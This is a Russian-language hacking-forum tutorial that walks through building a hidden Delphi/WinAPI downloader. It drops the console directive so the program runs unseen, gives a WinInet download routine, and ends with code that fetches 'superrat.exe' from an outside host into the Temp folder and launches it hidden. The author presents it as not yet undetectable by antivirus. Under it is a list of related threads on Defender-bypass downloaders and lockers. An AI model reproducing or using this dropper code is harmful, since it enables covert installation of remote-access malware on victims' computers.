[delphi] downloader winapi

Admin

Администратор
Шаги будут обозначатся так - #1/2/3..ect

#1 Создаем новый проект в Delphi

#2 Сразу удаляем
Код:
{$APPTYPE CONSOLE}

тем самым делаем приложение полностью скрытым.

#3 Верхняя часть кода:
Код:
program PSHLoader;

uses
  WinInet,
  Windows;


#4 Процедура скачивания файла (паблик и не FUD по этому собственно и решил урок сделать :D)
Код:
procedure DLFile(DwFile, SvFile: string);
var
  Internat: pointer;
  Stabkrch: pointer;
  Stabbuff: pointer;
  Razmer, Baitis: dword;
  AutKarochi: dword;
begin
  try
    try
      Internat:=InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
      Stabkrch:=InternetOpenUrl(Internat, PChar(DwFile), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0);
      if Stabkrch <> nil then
      begin
        InternetQueryDataAvailable(Stabkrch, Razmer, 0, 0);
        GetMem(Stabbuff, Razmer);
        try
          InternetReadFile(Stabkrch, Stabbuff, Razmer, Razmer);
          AutKarochi:=CreateFile(PChar(SvFile), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, $20, 0);
          if AutKarochi <> INVALID_HANDLE_VALUE then
          begin
            WriteFile(AutKarochi, Stabbuff^, Razmer, Razmer, nil);
            CloseHandle(AutKarochi);
          end
        finally
          FreeMem(Stabbuff);
        end;
      end;
    except
      // error
      Halt;
    end;
  finally
    InternetCloseHandle(Stabkrch);
  end;
  InternetCloseHandle(Internat);
end;


#5 Процедура получения системных папок

Код:
function GetEnvironmentVariable(const Name: string):string;
const
  BufSize = 1024;
var
  Len: Integer;
  Buffer: array[0..BufSize - 1] of Char;
begin
  Result := '';
  Len := windows.GetEnvironmentVariable(PChar(Name), @Buffer, BufSize);
  if Len < BufSize then
    SetString(Result, PChar(@Buffer), Len)
  else
  begin
    SetLength(Result, Len - 1);
    windows.GetEnvironmentVariable(PChar(Name), PChar(Result), Len);
  end;
end;



#6 Сам код (между begin .. end)
Код:
DLFile('http://jir.space/superrat.exe', GetEnvironmentVariable('Temp')+'\'+'downloaded.exe'); // скачиваем файл
WinExec(PAnsiChar(GetEnvironmentVariable('Temp')+'\'+'downloaded.exe'), SW_HIDE); // запускаем скачанный файл


Автор статьи - старый Psycho_O ©
 
Похожие темы
M [Delphi] Работа VKAPI, на примере бота Программирование 3
T Пишем WinLocker на Delphi Программирование 0
D Нужна помощь по Delphi! ЗАПЛАЧУ! Программирование 1
A Потоки в Delphi. TThread Программирование 0
A Delphi. Урок 17. Типы Программирование 0
A Delphi. Урок 16. Исключительные ситуации Программирование 0
A Delphi. Урок 15. Математические операции Программирование 0
A Delphi. Урок 14. Работа со списками строк TStringList или «сложные» типы Программирование 0
A Delphi. Урок 13. Работа со строками Программирование 0
A Delphi. Урок 12. Преобразование числа в строку и строки в число Программирование 0
A Delphi для начинающих. Урок 11. Процедуры и функции Программирование 0
A Delphi для начинающих. Урок 10. Циклы. Работа с массивами Программирование 0
A Delphi для начинающих – Урок 9 – Массивы Программирование 0
A Delphi для начинающих – Урок 8 – Условия. Оператор Case Программирование 0
A Delphi для начинающих – Урок 7 – Условия. Оператор IF Программирование 0
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор Программирование 0
A Delphi для начинающих – Урок 5 – Работаем с компонентами Программирование 0
A Delphi для начинающих – Урок 4 – Работа с переменными Программирование 0
A Delphi для начинающих – Урок 3 – Создание переменных Программирование 0
A Delphi для начинающих – Урок 2 — События Программирование 0
A Delphi для начинающих — Урок 1 — Среда разработки Delphi Программирование 0
A Простые шутку в DELPHI Программирование 5
A Мои старые исходники на Delphi Программирование 1
A Несколько шпор по Delphi =) Программирование 3
L Загружаем компьютер другу. Delphi,rad studio Программирование 0
I Country IP Ranges Generator v1.0 [Source][Delphi] Программирование 3
B Помощь [Delphi] Программирование 0
B VK Post Grabber [Source][Delphi] Программирование 0
wrangler65 Создание Powershell Shellcode Downloader для обхода Defender Ч.2 Полезные статьи 0
wrangler65 Создание Powershell Shellcode Downloader для обхода Defender (Без обхода Amsi) Полезные статьи 0
NickelBlack Multi-Downloader v0.1 - Download & Run File From URL Готовый софт 0
АнАлЬнАя ЧуПаКаБрА YandexDisk, DropmeFiles, Anonfiles DOWNLOADER Готовый софт 0
I DOWNLOADER (source) Программирование 2
R Autoit Downloader FUD by Youssef Вирусология 1
obscure Content Downloader X1 (null) 2015 Готовый софт 1
T WinAPI C++ Готовый софт 5
V Перехват WinAPI Полезные статьи 0

Название темы